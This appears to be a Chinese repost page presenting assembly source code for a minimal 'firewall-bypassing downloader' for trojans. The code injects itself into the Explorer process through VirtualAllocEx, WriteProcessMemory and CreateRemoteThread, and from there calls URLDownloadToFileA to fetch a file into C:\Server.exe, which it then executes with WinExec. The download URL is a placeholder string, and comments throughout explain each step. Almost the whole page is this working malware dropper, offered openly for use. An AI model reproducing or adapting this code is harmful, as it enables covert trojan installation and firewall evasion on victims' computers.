| 关键词: nbsp invoke 句柄 PUSH EBX OFFSET 线程 进程 eax 木马 |
汇编写的最小的穿墙下载者。基本上都加了注释,为了节约空间,增加速度,像MOV之类的语句都用PUSH和POP来代替了。没有用到数据区段(大概节约了1KB),变量都直接用寄存器和堆栈保存的,所以看起来不是很容易理解。从大小上来说基本已经达到极限。 代码如下: .386 .model flat,stdcall option casemap:none ;以下是所用的库文件 include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib include windows.inc .code tit db 'Shell_Traywnd',0 ;Explorer的窗口类型 szmsg db 'URLDownloadToFileA',0 ;下载文件的函数 userdll db 'Urlmon.dll',0 ;用到的动态连接库 szloadlib db 'LoadLibraryA',0 ;加载动态连接库的函数 path db 'C:\Server.exe',0 ;木马要保存的地址 codebegin: szTit db "C:\\Server.exe",0 ;木马要保存的地址 dispdata db "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!",0;木马的网址 datalen =$-codebegin Rproc proc msgbox CALL @F@@: POP EBX SUB EBX,OFFSET @B LEA EDX,[EBX+szTit] LEA ECX,[EBX+dispdata] push 0 push 0 push edx push ecx push 0 call msgbox ret Rproc endp codelen =$-codebegin ;代码长度字节 ;///////////////////////////////////////////////////////////////////////////// start: invoke FindWindow,offset tit,0 ;返回Explorer窗口句柄 invoke GetWindowThreadProcessId,eax,ebx ;得到Explorer进程PID,保存到ebx invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,[ebx] ;打开进程,得到进程句柄 push eax pop ebx ;保存进程句柄 invoke VirtualAllocEx,ebx,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE ;在Explorer的进程里申请空间 push eax pop edi invoke WriteProcessMemory,ebx,edi,offset codebegin,codelen,NULL ;写入插入的代码 invoke LoadLibrary,offset userdll ;加载Urlmon.dll invoke GetProcAddress,eax,offset szmsg ;得到地址 push edi pop esi add esi,datalen invoke CreateRemoteThread,ebx,0,0,esi,eax,0,0 ;远程线程调用 push eax ;返回线程句柄 invoke WaitForSingleObject,eax, INFINITE ;等待线程结束 pop eax invoke CloseHandle,eax ;关闭线程句柄 invoke WinExec,offset path,SW_SHOW ;运行木马 invoke VirtualFreeEx,ebx,edi,codelen,MEM_RELEASE ;释放空间 invoke ExitProcess,0 end start |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|